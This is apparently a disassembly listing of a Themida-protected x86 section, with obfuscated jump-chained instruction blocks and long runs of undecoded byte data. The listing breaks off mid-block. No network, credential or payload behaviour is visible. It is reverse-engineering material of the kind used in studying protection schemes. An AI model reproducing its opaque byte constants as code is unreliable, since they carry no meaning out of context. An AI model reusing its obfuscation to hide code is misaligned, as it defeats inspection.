jmp loc_55C7F3
; ---------------------------------------------------------------------------
db 81h, 0EBh, 9Dh
dd 5F2CA61Eh, 31241C33h, 1C33241Ch, 53E7E924h, 0B5510000h
dd 7EDC0B0h, 3086C580h, 0F66859EEh, 89000044h, 4DE9241Ch
dd 8900001Ch, 4BA52E0h, 1000000h, 4055AD0h, 33000000h
dd 92E92404h, 0BA00004Fh, 0E361BB2Ah, 815FFA01h, 0C811BBC7h
dd 36B3E96Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_558862: ; CODE XREF: Themida_:00560106j
push ebx
push esp
jmp loc_55FDB3
; ---------------------------------------------------------------------------
db 5Ch, 89h, 14h
aUSTSxt1Ss7 db '$U½˜\T:º˜XT:1êéS7',0
dw 0BF00h
dd 6FBF78F0h, 75BAC781h, 0E7810F4Ch, 5D03719Ah, 515CEF81h
dd 0E7C16BC5h, 0A6EF8105h, 89F59994h, 0EB015FFDh, 53F3815Dh
dd 815FB201h, 5B7150C6h, 7F47E955h, 13E90000h, 0FFFFFFC0h
dd 0C8B2434h, 4C48124h, 83000000h, 0BF5704C4h, 4, 34FFF901h
dd 12E95F24h, 89FFFFD8h, 405E0h, 0BA520000h, 67E01119h
dd 2FC968h, 24148900h, 32A8E9h, 0CAEE8100h, 89E86AC3h
dd 0D1E95EF5h, 81FFFFF4h, 0B81FF6E6h, 81DEF70Ch, 0B62CCCEEh
dd 0E8E95328h, 5B000035h, 0FFCCDFE9h, 0C335FFFh, 240C3124h
dd 8B240C33h, 24D22424h, 9BE99C24h, 0ACFFFFBFh, 0E951D830h
dd 36CFh, 5C240C87h, 241C8966h, 52660FB7h, 0F0000BB6h
dd 0F8285A66h, 2264E951h, 31660000h, 1042E9D8h, 44BA0000h
dd 1184104h, 81565AD0h, 4ECh, 240C8900h, 5E36DBB9h, 0F0C18136h
dd 89E96800h, 240C8BCEh, 44FBE9h, 0BD355A00h, 516A2712h
dd 0D8E547B9h, 0E9C80195h, 65Ch, 240C8B54h, 8104C483h
dd 4C1h, 4BF5700h, 81000000h, 200081E9h, 81F90156h, 200081C1h
dd 47E95F56h, 0FF00006Eh, 34FF2434h, 0C4815824h, 4, 76BA68h
dd 24048900h, 0FFE05DE9h, 24048BFFh, 4C481h, 3C870000h
dd 24248B24h, 0E9240489h, 0FFFFBEDEh
; ---------------------------------------------------------------------------
loc_5589F0: ; CODE XREF: Themida_:0055BCB4j
jmp loc_5548CE
; ---------------------------------------------------------------------------
loc_5589F5: ; CODE XREF: Themida_:0055E9C4j
push esp
jmp loc_55CC7F
; ---------------------------------------------------------------------------
db 66h
dd 50240C8Bh, 6467E9h, 24048B00h, 5B04C483h, 8FE68159h
dd 0C15C5659h, 0CEE903EEh
db 0Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558A1B: ; CODE XREF: Themida_:00556BA3j
xor ecx, 0BB5FFBFFh
sub [edi+24h], ecx
pop ecx
loc_558A25: ; CODE XREF: Themida_:00558310j
push esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_55CCD4
; ---------------------------------------------------------------------------
db 81h
dd 0AF4362F6h, 0F429E90Ch, 0F750FFFFh, 0E9582414h, 2930h
dd 69C281h, 0C281742Eh, 67B30FB2h, 0EA81CA01h, 67B30FB2h
dd 69EA81h, 0C8B742Eh, 4C48124h, 33000000h, 14312414h
dd 24143324h, 0FE24248Bh, 0E99C240Ch, 0FFFFC0DBh, 2474FF57h
dd 2CDDE904h, 0D3010000h, 2523C381h, 505A59C0h, 4B8h, 16BF5700h
dd 0E937681Ah, 4663h, 4C781h, 0F4E90000h, 81000059h, 41D9C2E9h
dd 97DE92Fh, 0C4810000h, 4, 81E18951h, 4C1h, 4E98100h
dd 87000000h, 895C240Ch, 0E789243Ch, 0FFD291E9h, 6C8166FFh
dd 7CE00424h, 246C8166h, 0E931F704h, 0FFFFBFD9h, 34AF2B9h
dd 59C8894Bh, 8158C631h, 3504AFF6h, 8BF0297Eh, 0BB682434h
dd 8900004Bh, 0E9542404h, 0FFFFD471h, 8105EDC1h, 9E07FFC5h
dd 5DEA89FEh, 203DA01h, 8124148Bh, 4C4h, 2434FF00h, 0FFCF97E9h
dd 4EC83FFh, 83242489h, 8B042404h, 0C4832404h, 40504h
dd 0ECE90000h, 8300000Bh, 0FF042404h, 0E95B2434h, 682h
dd 0FFBD65E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558B69: ; CODE XREF: Themida_:0055A26Aj
and eax, ebp
pop ebp
shr eax, 0Ch
xor eax, ecx
push eax
xchg ebx, [esp]
not ebx
xchg ebx, [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 11FEh
mov [esp], ebx
push esp
pop ebx
add ebx, 4
push ebp
jmp loc_55A8AE
; ---------------------------------------------------------------------------
aISiu db 'ˆÙ[(Ëé¨U',0
dw 5700h
dd 1752E9h, 4C48100h, 0E9000000h, 68F5h, 8F04C483h, 555C2404h
dd 0E904EC83h, 304Eh, 8F2F780h, 0F5805BFDh, 35D2E903h
dd 3F680000h, 89000069h, 0E6892434h, 4C681h, 37E90000h
dd 66FFFFC4h, 5724048Bh, 0FFCC64E9h, 241C87FFh, 8B54515Ch
dd 0C483240Ch, 4C18104h, 0E9000000h, 36DFh
; ---------------------------------------------------------------------------
loc_558C08: ; CODE XREF: Themida_:0055C0BAj
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
mov [esp], ebp
push 68CC0EC6h
mov ebp, [esp]
jmp loc_55E664
; ---------------------------------------------------------------------------
db 0BAh, 5Ch, 0F1h
dd 66056523h, 0E96F3720h, 88Ch, 8304C483h, 0C48104C4h
dd 4, 0E904EC83h, 6B97h, 0CAE943B1h, 52FFFFF4h, 731D968h
dd 0D2F75A50h, 56E28142h, 513F9E53h, 0B9h, 0E9D12900h
dd 2D3Eh, 0C178FBFh, 0E9F82905h, 6A32h, 0BF3F4BBBh, 5BDE312Eh
dd 0E95EF389h, 0FFFFBE31h, 5AFBC381h, 0C3815843h, 0F7889A58h
dd 815BDA21h, 247291EAh, 2EAC116h, 69E4EA81h, 16E9A924h
dd 0B8FFFFEFh, 6FAA5BEAh, 462DEE05h, 0EDE9522Ah
db 12h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558CB7: ; CODE XREF: Themida_:0055BD5Cj
add eax, ecx
sub esp, 4
mov [esp], ecx
mov ecx, 69106416h
sub eax, ecx
pop ecx
jmp loc_55A3B7
; ---------------------------------------------------------------------------
loc_558CCC: ; CODE XREF: Themida_:0055C5C6j
push esi
mov esi, 5E992047h
xor [esp+4], esi
pop esi
push dword ptr [esp]
pop esi
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push ecx
mov ecx, 5E992047h
xor esi, ecx
pop ecx
jmp loc_5587F2
; ---------------------------------------------------------------------------
dw 0BA52h
dd 0
dd 0D187CA29h, 2E1C15Ah, 414BC181h, 0BA520CB8h, 3C3D24C9h
dd 0FFE2CFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558D1D: ; CODE XREF: Themida_:005602BFj
pop ebx
jmp loc_558586
; ---------------------------------------------------------------------------
db 4Bh
dd 0F381EBD1h, 2F8239E1h, 4B16C381h, 0DD01C87Dh, 0EDE4E95Bh
dd 0D6BDFFFFh, 8966358Eh, 45E9EFh, 525F0000h, 42474FFh
dd 24048F5Ah, 0FFC747E9h, 7AE9ADFFh, 0BF000073h, 3FFB4615h
dd 56EF8147h, 0F7E7DFD7h, 5EE956D7h, 5900003Eh, 2EC81h
dd 0C4E90000h, 81000046h, 4C7h, 50E6800h, 3EE90000h, 5D000026h
dd 8F5B951h, 32E900A9h
db 56h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558D97: ; CODE XREF: Themida_:0056031Dj
mov edx, 3D1F1135h
jmp loc_55D375
; ---------------------------------------------------------------------------
db 66h, 68h, 0ACh
dd 0F389E909h, 0C281FFFFh, 3FFF7F03h, 835AD101h, 0C3304C1h
dd 240C3124h, 8B240C33h, 0FCE92424h, 66000052h, 20C8B050h
dd 835866C1h, 1C8904ECh, 509EB724h, 0E9B7B353h, 6C54h
dd 4EC81h, 1C890000h, 0E9BA5224h, 68426501h, 0CAh, 0B9240C89h
dd 175107Bh, 4164E181h, 0C18145A0h, 0EEF27BFBh, 8959CA01h
dd 6608E9D3h, 34FF0000h, 24348B24h, 0E904C483h, 1C1Ah
dd 4BE5659h, 0E9000000h, 8A3h, 0C381E389h, 4, 8704C383h
dd 0E95C241Ch, 63F5h, 5A205721h, 0FFBF83E9h, 243487FFh
dd 1489665Ch, 9C506624h, 0FFBA75E9h, 81E589FFh, 4C5h, 4C58300h
dd 5C242C87h, 67C380h, 0DBB551C3h, 7D1AE9h, 8BD33100h
dd 0C4812414h, 4, 5601E9h, 24343300h, 6624248Bh, 66C8AF0Fh
dd 9FE99C51h, 64000007h, 2FE932FFh, 28FFFFBAh, 0F2E95AF3h
dd 8FFFFFFCh, 4832404h, 4CE90424h, 5E000068h, 1C8BDF01h
dd 0E7895724h, 4C781h, 0C7810000h, 4, 0FFED78E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_558ECD: ; CODE XREF: Themida_:0055CD84j
push edx
mov edx, 68576E89h
push 6B8Dh
mov [esp], esi
mov esi, 1158712Dh
add esi, 5C72CF3h
push ecx
jmp loc_556018
; ---------------------------------------------------------------------------
dd 8B241487h, 0B0E92424h, 0FF000059h, 34FF2434h, 2434FF24h
dd 83240C8Bh, 895304C4h, 4C381E3h, 81000000h, 4C3h, 241C8700h
dd 0DC68555Ch, 5400002Bh, 8124048Fh, 42404h, 815D0000h
dd 4C5h, 4C58300h, 5C242C87h, 4C481h, 34FF0000h, 2434FF24h
dd 0FFE1F4E9h, 81E189FFh, 4C1h, 4C18300h, 8B240C87h, 0CCE92424h
db 6, 2 dup(0)
; ---------------------------------------------------------------------------
loc_558F5F: ; CODE XREF: Themida_:005607BEj
push ebx
mov ebx, 28AE276Dh
xor ecx, ebx
pop ebx
dec ecx
xor ecx, 1ACF00FFh
xor eax, ecx
mov ecx, [esp]
jmp loc_55F5CC
; ---------------------------------------------------------------------------
db 87h, 1Ch, 24h
dd 6852665Ch, 2AF9h, 0E9240489h, 6018h, 0E92C77FFh, 0FFFFF922h
dd 45368h, 24148900h, 0E9501AB2h, 33F1h, 1AA3BD55h, 91E969BCh
dd 59000043h, 100368h, 242C8900h, 168h, 242C8B00h, 2104C483h
dd 242C8BE8h, 52E68956h, 143A0BBAh, 6EAC12Dh, 38B5C281h
dd 814A5C5Dh, 0A87719C2h, 0B1F28178h, 81D5BA00h, 0E164AFEEh
dd 0E9D60177h, 0FFFFCB30h, 8BC20159h, 89502404h, 5819E9E0h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559002: ; CODE XREF: Themida_:0055A0F4j
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_554CF1
; ---------------------------------------------------------------------------
db 0F6h
dd 0E9ECD0D4h, 1882h, 543FB22Dh, 0C197E962h, 68ADFFFFh
dd 5D3Ch, 52243C89h, 1421ED68h, 81425A5Fh, 8546A0F2h, 0E9D78938h
dd 0FFFFC64Eh, 4C4815Fh, 81000000h, 8CA801C1h, 8BC83119h
dd 0C483240Ch, 83C33104h, 3C8904ECh, 0C496E924h, 0F187FFFFh
dd 0FFD6A1E9h, 0D6BD55FFh, 0E902BF1Eh, 0FFFFD0F6h, 4C581h
dd 0E9530000h, 3FDBh
; ---------------------------------------------------------------------------
loc_559084: ; CODE XREF: Themida_:0055823Aj
mov edx, [esp]
add esp, 4
jmp loc_5579E3
; ---------------------------------------------------------------------------
dd offset dword_51E548+439h
db 82h
dd 0C1814166h, 6FA579C5h, 0FFECB3E9h, 56B951FFh, 0E931297Dh
dd 0FF9h, 1D5268h, 24248900h, 4BD55h, 6C010000h, 0E95D0424h
dd 9EFh, 24148966h, 0B4E939B6h, 0BDFFFFCCh, 220135C5h
dd 295DEA29h, 0CBB6E9D6h, 0E901FFFFh, 4C1815Dh, 87000000h
dd 0E95C240Ch, 464Ch, 50241C8Bh, 0FFD988E9h, 4CB753FFh
dd 665BFD00h, 0C106853h, 4890000h, 0E907E924h, 48B7FFFFh
dd 0E905EFC0h, 6C8Ch, 0F3E9515Bh, 87000019h, 248B2414h
dd 242CD224h, 0B7A0E99Ch, 1C89FFFFh, 0E9F38824h, 4C34h
dd 83240C8Bh, 1C3304C4h, 241C3124h, 5C241C33h, 0FFDCA4E9h
dd 253A68FFh, 8F540000h, 4812404h, 424h, 24048F00h, 0FFE4EDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_559165: ; CODE XREF: Themida_:005573F9j
neg edi
neg edi
sub edi, 982C36BDh
jmp loc_55EFE0
; ---------------------------------------------------------------------------
dd 0FEC2CB80h, 0CA9E9CBh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55917E: ; CODE XREF: Themida_:00557845j
pop eax
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
shr eax, 10h
xor eax, ecx
push 610Ah
mov [esp], eax
push 799Bh
mov [esp], edx
push esp
pop edx
add edx, 4
push ecx
mov ecx, 4
add edx, 370518ABh
sub edx, ecx
sub edx, 370518ABh
pop ecx
xchg edx, [esp]
mov esp, [esp]
mov [esp], edx
pop eax
pop edx
push edx
not dword ptr [esp]
pop edx
xor eax, edx
xor edx, eax
jmp loc_5571CC
; ---------------------------------------------------------------------------
dw 77FFh
dd 58669D1Ch, 24041166h, 0B6E8E99Ch, 5451FFFFh, 4BD5559h
dd 1000000h, 0C1835DE9h, 74FF5104h, 8F590424h, 815C2404h
dd 4C3h, 4C38300h, 2474FF53h, 48F5B04h, 24248B24h, 159E9h
dd 77E95F00h
db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55921F: ; CODE XREF: Themida_:0055522Fj
pop edx
push 6CF3h
jmp loc_555970
; ---------------------------------------------------------------------------
dw 0EB81h
dd 55C828D1h, 3214B850h, 0B9512AFEh, 438CFC03h, 0FFD306E9h
dd 0B688E9FFh, 5B54FFFFh, 4C381h, 0E9520000h, 1320h, 913415BAh
dd 70AE926h, 0E94A0000h, 1706h, 0DBD6E95Fh, 7768FFFFh
dd 89000026h, 0E955242Ch, 13E0h, 0A7E38058h, 0E9A0B050h
dd 0FFFFC0AFh
; ---------------------------------------------------------------------------
loc_559284: ; CODE XREF: Themida_:00555535j
xchg esi, [esp]
pop esp
sub esp, 4
mov [esp], ebx
mov ebx, 774E602Ch
xor eax, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
jmp loc_555EAE
; ---------------------------------------------------------------------------
dw 8956h
dd 4BA52E6h, 1000000h, 68E95AD6h, 80000022h, 0C38098C3h
dd 0E81DE947h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5592C2: ; CODE XREF: Themida_:005548D5j
mov bx, [esp]
jmp loc_55DA92
; ---------------------------------------------------------------------------
db 0C1h
dd 0F75704EFh, 0A8E92414h
db 65h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5592D7: ; CODE XREF: Themida_:00557188j
mov esp, [esp]
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
add esp, 4
test ecx, eax
pushf
jmp loc_5548CE
; ---------------------------------------------------------------------------
dw 1DB1h
dd 7A6E9h, 0EEE95100h
db 78h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5592FF: ; CODE XREF: Themida_:0056012Aj
push ecx
push ebx
push 6297h
jmp loc_559A18
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 243C8700h, 2404315Ch, 0B5B0E99Ch, 8951FFFFh, 7FBB53E1h
dd 0F757A014h, 5DE381D3h, 0D1516C53h, 0C3814BEBh, 0FFD9DE85h
dd 815BD901h, 4C1h, 0F420E900h, 1C33FFFFh, 0A43E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55934E: ; CODE XREF: Themida_:00559950j
pop esp
or ecx, 4693534Eh
push eax
mov eax, 7A021F7Dh
jmp loc_556E9B
; ---------------------------------------------------------------------------
loc_559360: ; CODE XREF: Themida_:0055FABCj
xor eax, edi
xor edi, eax
xor eax, edi
jmp loc_55BA8F
; ---------------------------------------------------------------------------
db 89h
dd 6C90E9F5h, 4310000h, 0B554E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55937A: ; CODE XREF: Themida_:005567A7j
mov dl, ch
jmp loc_55BF82
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 21F7E9h, 4EC8300h, 68243C89h, 1C545BA7h, 3996E95Fh
dd 0EE810000h, 75881BDFh, 0FFFFC6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5593A5: ; CODE XREF: Themida_:0055DC00j
add esp, 4
sub bl, 1Dh
push esi
mov esi, esp
add esi, 4
jmp loc_55FB00
; ---------------------------------------------------------------------------
loc_5593B9: ; CODE XREF: Themida_:00558391j
add dword ptr [esp], 3DC0487Dh
jmp loc_55F278
; ---------------------------------------------------------------------------
loc_5593C5: ; CODE XREF: Themida_:0055AAEEj
push edi
pop ebp
pop edi
xchg ebx, ebp
jmp loc_557805
; ---------------------------------------------------------------------------
db 8Bh
dd 0C481242Ch, 4, 8159CF01h, 777067EFh, 51CF0168h, 0FFE1E7E9h
db 0FFh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5581A9
; ---------------------------------------------------------------------------
loc_5593F7: ; CODE XREF: Themida_:005556C0j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
pop edi
mov eax, [esp]
jmp loc_56095E
; ---------------------------------------------------------------------------
db 58h, 87h, 34h
dd 0C895C24h, 0B4B4E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55941A: ; CODE XREF: Themida_:00556A9Fj
push ecx
mov ch, 35h
dec ch
jmp loc_55F1E6
; ---------------------------------------------------------------------------
dd 8DF18149h, 891150B5h, 6502E9C8h, 0EDC10000h, 8E5C103h
dd 67E9D5F7h, 8100006Fh, 721234C9h, 0F9E18172h, 493EEB06h
dd 3A63BE56h, 0C6816EEEh, 5D552DB8h, 0CE81464Eh, 5E41912h
dd 0A77EC681h, 0F1315EAAh, 3E1C15Eh, 0E894C181h, 0CF01683Eh
dd 243C8759h, 2424D35Ch, 0FFB44DE9h, 5EF509FFh, 5EDC145h
dd 0D534ED81h, 0EA29CB1Ah, 0FFE2E1E9h, 81D9F7FFh, 4ECh
dd 24048900h, 15605EB8h, 3E8C128h, 0A3E9D0F7h, 5000002Eh
dd 42474FFh, 0E924048Bh, 7FAh, 0BB53D001h, 6F372066h, 4FF4B951h
dd 0E18141D9h, 24204DC3h, 0E1C18149h, 816A1006h, 50012C1h
dd 59C801FCh, 98E9D829h, 56000023h, 0FFC35EE9h, 4C383FFh
dd 5C241C87h, 0D975B52Dh, 3BFDE958h, 4B90000h, 1000000h
dd 240C8BCAh, 4C481h, 14870000h, 0E3EFE924h, 1C8BFFFFh
dd 4C48324h, 0C8F0E95Eh, 148BFFFFh, 4C48124h, 0E9000000h
dd 0FFFFB908h, 89240489h, 0E851E9E0h, 8B54FFFFh, 0C481242Ch
dd 4, 4C581h, 7AE90000h
db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55954F: ; CODE XREF: Themida_:0055C6D2j
pop eax
push ecx
push edx
mov edx, 6F055C9Dh
mov ecx, 3E8C2690h
not ecx
push edx
push eax
mov eax, 5A855FAEh
mov edx, 0A813C44Ch
add edx, eax
pop eax
xor ecx, edx
pop edx
push esi
mov esi, 1F5320BBh
xor ecx, esi
pop esi
jmp loc_556873
; ---------------------------------------------------------------------------
dw 0E958h
dd 0FFFFD8EAh, 72D768h, 240C8900h, 4C67E9h, 56D7F700h
dd 9B5489BEh, 0F7D6F72Ah, 49F681D6h, 0F777D22Ah, 709CE9D6h
dd 1C8B0000h, 4C48124h, 50000000h, 0FFE65EE9h, 243C8BFFh
dd 5690E9h, 24348900h, 4BEh, 8BF70100h, 0C4812434h, 4
dd 0FFDDA8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5595D9: ; CODE XREF: Themida_:0055D260j
push edx
mov edx, 37517E54h
shr edx, 6
not edx
jmp loc_554EB7
; ---------------------------------------------------------------------------
db 0C1h, 0E6h, 3
dd 5126CE81h, 0D6F706BFh, 51ABC681h, 0F28916BFh, 2AC6E9h
dd 11BF5700h, 814A6E62h, 2B52FECFh, 0EFC1477Ah, 79EF8103h
dd 0E9DA50C7h, 6CBCh, 0D5F7D5F7h, 9744ED81h, 47E98135h
dd 0FFFFFFC0h, 48B2434h, 50F6E924h, 93E90000h
db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55963B: ; CODE XREF: Themida_:0055B9CBj
mov ebx, 50145E64h
add edi, ebx
jmp loc_5563D4
; ---------------------------------------------------------------------------
db 0FFh
dd 0C8B2434h, 4C48124h, 81000000h, 4ECh, 241C8900h, 0BE56E389h
dd 325F5D43h, 0FFD79DE9h, 22BABFFFh, 0FE907E9h, 0FFFFFFCCh
dd 21E92434h, 3000003Dh, 0B3535AD0h, 2C38071h, 0FE5BD808h
dd 51FA0CC0h, 0E83091B5h, 1BD3E9h, 4BA00h, 6BE90000h
db 4Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55969F: ; CODE XREF: Themida_:0055A4F0j
pop esp
jmp loc_55F919
; ---------------------------------------------------------------------------
db 89h, 0CBh, 8Bh
dd 8952240Ch, 0B727E9E2h, 0ED80FFFFh, 5E5C023h, 0FFC479E9h
dd 4C483FFh, 0C72DC801h, 596E0E1Ah, 63E9F829h, 1000058h
dd 2434FFF1h, 0E9E9565Eh, 6600006Bh, 22474FFh, 240C8B66h
dd 81E18951h, 4C1h, 0E947E900h, 6866FFFFh, 89663878h, 0F66240Ch
dd 5166C8B6h, 0B1C8E99Ch, 3C89FFFFh, 815F5424h, 4C7h, 4C78300h
dd 0FFF36FE9h, 0B505ADFFh, 558D975h, 42141BB2h, 2EC2E9h
dd 10C38000h, 662DC380h, 0CCF4E959h, 0BF57FFFFh, 4, 53E9F829h
dd 68FFFFCAh, 1ACEh, 0B9240C89h, 4, 0C8BC801h, 0F478E924h
dd 481FFFFh, 424h, 24348B00h, 4C481h, 0A8680000h, 0E900001Bh
dd 19F7h
; ---------------------------------------------------------------------------
loc_559774: ; CODE XREF: Themida_:0055C4EDj
push edx
mov edx, 15C66A2Eh
neg edx
and edx, 4F1A318Eh
inc edx
sub edx, 33F1E52h
jmp loc_554FF2
; ---------------------------------------------------------------------------
loc_55978E: ; CODE XREF: Themida_:0055EC43j
push esi
mov esi, 15311E63h
push 55A4h
jmp loc_55E00E
; ---------------------------------------------------------------------------
dw 0F755h
dd 565D2414h, 12BA5255h, 815CEF3Bh, 410F20C2h, 0BFE28160h
dd 813F551Ch, 1C477AC2h, 8BD589C6h, 79E92414h, 0BB000050h
dd 4, 3415C781h, 0DF012691h, 0FA7AE952h, 77FFFFFFh, 58669D1Ch
dd 9C240410h, 0FFB0E5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5597E9: ; CODE XREF: Themida_:0055FAFBj
or eax, 59203501h
xor eax, 0F087AA6h
add eax, 52B523A8h
xor eax, 5C97787Dh
add eax, 79B4F730h
xor eax, 1F557F1Fh
xor ecx, eax
jmp loc_55AE32
; ---------------------------------------------------------------------------
dw 0E95Dh
dd 54F4h, 0E781474Fh, 38060474h, 3BCDF781h, 0FE9270Dh
dd 29FFFFE0h, 0E8015DE8h, 0CF371105h, 21FA2D46h, 1CE977C2h
dd 5900005Ch, 4C481h, 0C3800000h, 81C32819h, 2ECh, 0C896600h
dd 88B35324h, 0E980E952h, 48FFFFFh, 0D691E924h, 48FFFFFh
dd 24248B24h, 24048B66h, 1E7A68h, 592BE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559876: ; CODE XREF: Themida_:00557288j
or edi, 0B075921h
shl edi, 6
dec edi
add edi, 5E2C7D1Bh
add ebx, edi
pop edi
sub eax, ebx
push dword ptr [esp]
pop ebx
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push dword ptr [edi+eax*4]
add dword ptr [esp], 32221EC9h
jmp loc_55C9ED
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 82EE9h, 55575C00h, 0FFF479E9h, 42E95EFFh, 28000019h
dd 2D0458E6h, 2D2CF000h, 0FFC512E9h, 24048BFFh, 8104C483h
dd 4C4h, 94685500h, 8900004Eh, 4832424h, 0E95D0424h, 0FFFFEDEFh
dd 2474FF51h, 6D0DE904h, 2D5E0000h, 0E59BD148h, 48BC389h
dd 4C48324h, 1C8BD829h, 0E9545524h, 3396h, 0A32EF81h, 57560D01h
dd 0E9F1895Eh, 0FFFFEB32h, 0E9240489h, 0FFFFAF9Eh, 3F04D828h
dd 5E08950h, 4, 8704E883h, 895C2404h, 8DB62414h, 0FFB317E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55994D: ; CODE XREF: Themida_:00555C7Ej
xchg edx, [esp]
jmp loc_55934E
; ---------------------------------------------------------------------------
loc_559955: ; CODE XREF: Themida_:0055B48Fj
add bl, 0E0h
add bl, 57h
push eax
jmp loc_55D412
; ---------------------------------------------------------------------------
loc_559961: ; CODE XREF: Themida_:00557ACFj
add edi, edx
jmp loc_55BC82
; ---------------------------------------------------------------------------
aZsT db ')×ZéÇT',0
align 10h
dd 555B5453h, 204E9h, 1AEB8100h, 521CE873h, 380BBD55h
dd 0E9552917h, 0CF1h, 127CF181h, 28E9D20Eh, 0B1FFFFB4h
dd 0E9CB284Eh, 5C52h, 0ADD6866h, 242C8966h, 0A4DC6866h
dd 2AAAE9h, 240C8700h, 51D5E9h, 24048B00h, 4C481h, 7CE90000h
dd 0B8FFFFECh, 79E04721h, 3C18F12Dh, 5D8DE967h, 8B5A0000h
dd 8956240Ch, 5ABF57E6h, 0E93B8275h, 0FFFFBC9Dh
; ---------------------------------------------------------------------------
loc_5599E8: ; CODE XREF: Themida_:00560159j
push ebp
xor dword ptr [esp], 18E729C5h
pop eax
xor eax, 18E729C5h
mov ebp, [esp]
jmp loc_55AF04
; ---------------------------------------------------------------------------
dw 6857h
dd 266A61F6h, 81243C8Bh, 4C4h, 0F7EF8700h, 0E9EF31D5h
dd 0FFFFC470h
; ---------------------------------------------------------------------------
loc_559A18: ; CODE XREF: Themida_:00559306j
mov [esp], edx
mov dh, al
mov bl, dh
mov edx, [esp]
add esp, 4
push eax
mov ah, bl
jmp loc_5571C1
; ---------------------------------------------------------------------------
db 52h, 89h, 0E2h
dd 4C281h, 0A7E90000h, 8700004Bh, 0E95C2414h, 3FE5h
; ---------------------------------------------------------------------------
loc_559A44: ; CODE XREF: Themida_:0055A2DCj
add ebp, 4
xchg ebp, [esp]
pop esp
add ebp, 4
push ebp
push dword ptr [esp+4]
jmp loc_55F728
; ---------------------------------------------------------------------------
dw 7429h
dd 44810424h, 7FD60424h, 44815F65h, 0B1C0424h, 8B5E73F0h
dd 89522404h, 8CBB53E2h, 4355BC0Ah, 47EFE9h, 8BDF8900h
dd 0C483241Ch, 8BFA0104h, 0AAE9243Ch, 8700005Ch, 9DE9240Ch
dd 0F6FFFFDAh, 80D1F6D9h, 0D1F696E1h, 0D7E980h, 4DE959CFh
dd 8F00004Fh, 0EC812404h, 4, 2594E9h, 81E58900h, 4C5h
dd 0C9BFE900h, 0C281FFFFh, 4, 2BD55h, 0EA810000h, 11740E4Ah
dd 0FFD225E9h, 15E5BAFFh, 685730BDh, 25AA0A48h, 5707E9h
dd 50E68900h, 4B8h, 58C60100h, 4C681h, 34870000h, 0FDABE924h
dd 8B66FFFFh, 1668240Ch, 0E900000Ch, 75Dh, 344CE95Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_559B22: ; CODE XREF: Themida_:0055A7B2j
add edi, ecx
jmp loc_55DBD0
; ---------------------------------------------------------------------------
db 5Fh, 52h, 0E9h
dd 19C1h, 4350BD55h, 0CD8167D7h, 5A4263C0h, 0ED81DDF7h
dd 89CFE1F3h, 505DEA31h, 0FFD9CFE9h, 8B8BDFFh, 0CD81734Dh
dd 27BE572Bh, 0CE1E9h, 0D7F75900h, 30296897h, 4890000h
dd 2414F724h, 0CBE3E958h, 0EC81FFFFh, 4, 0FFDD28E9h, 361BDFFh
dd 0D5F710ACh, 0FFE0F7E9h, 55D3F7FFh, 0F57FD1BDh, 81D5F724h
dd 0B19B66F5h, 5DEB098Ch, 4C1FCB81h, 53525C75h, 404B23BBh
dd 5BDA8918h, 15AD329h, 50E95BD8h, 8B000034h, 0BB68240Ch
dd 0E9000072h, 4F82h, 81E28952h, 4C2h, 4C28300h, 5C241487h
dd 2404A30Fh, 4C38E99Ch, 0F1010000h, 1A78E981h, 525E055Ch
dd 965A60BAh, 0D6CA8114h, 815E6150h, 0F75AF2F2h, 6F89E95Eh
dd 4680000h, 5B000000h, 0FFD6EAE9h, 0E9C889FFh, 6BB3h
dd 4C6815Eh, 53000000h, 7D5D68h, 0C8A4E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_559C22: ; CODE XREF: Themida_:0055D61Ej
add ah, 1
inc ah
shl ah, 5
shl ah, 4
xor ah, 1
add bl, ah
mov eax, [esp]
add esp, 4
xor bl, 72h
xor al, bl
mov ebx, [esp]
add esp, 4
sub esp, 4
jmp loc_555C08
; ---------------------------------------------------------------------------
dw 5450h
dd 582434FFh, 4C481h, 4050000h, 56000000h, 2DE0E9h
db 0
; ---------------------------------------------------------------------------
loc_559C65: ; CODE XREF: Themida_:005566BBj
pop ecx
and eax, esi
push dword ptr [esp]
push dword ptr [esp]
pop esi
